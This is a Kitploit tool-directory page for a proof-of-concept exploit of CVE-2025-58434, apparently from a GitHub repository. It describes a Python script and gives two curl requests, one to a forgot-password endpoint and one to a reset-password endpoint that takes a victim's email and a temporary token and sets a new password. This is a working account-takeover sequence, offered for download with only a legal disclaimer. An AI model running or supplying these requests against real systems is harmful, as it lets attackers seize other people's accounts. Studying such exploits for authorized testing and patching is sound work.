Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58434-PoC — CVE-2025-58434 Proof of Concept | Kitploit
Tools/GitHubGitHub/mananispiwpiw/cve-2025-58434-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmananispiwpiw/cve-2025-58434-poc

CVE-2025-58434-PoC

CVE-2025-58434 Proof of Concept

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-58434 PoC

Python proof-of-concept script for triggering POST /api/v1/account/forgot-password.

⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.

Credit

  • zaddy6 (Isaac David)
  • arthurgervais (Arthur Gervais)

Details

  • PoC for CVE-2025-58434
  • Reference: https://github.com/advisories/GHSA-wgpv-6j63-x5ph

Files

  • poc.py: prompts for machine URL/IP, optional protocol when bare host/IP used, target email, and password; then sends request and prints HTTP status, headers, and response body similar to curl -i

Usage

Run:

root@kitploit:~
python3 poc.py

Then provide:

  • machine URL/IP, like 10.10.11.10, http://10.10.11.10, or https://target.example
  • protocol if prompted for bare host/IP
  • email address
  • password

Equivalent curl

1st Request

root@kitploit:~
curl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<[email protected]>"}}'

2nd Request

root@kitploit:~
curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<[email protected]>",
          "tempToken":"<tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'
Download Tool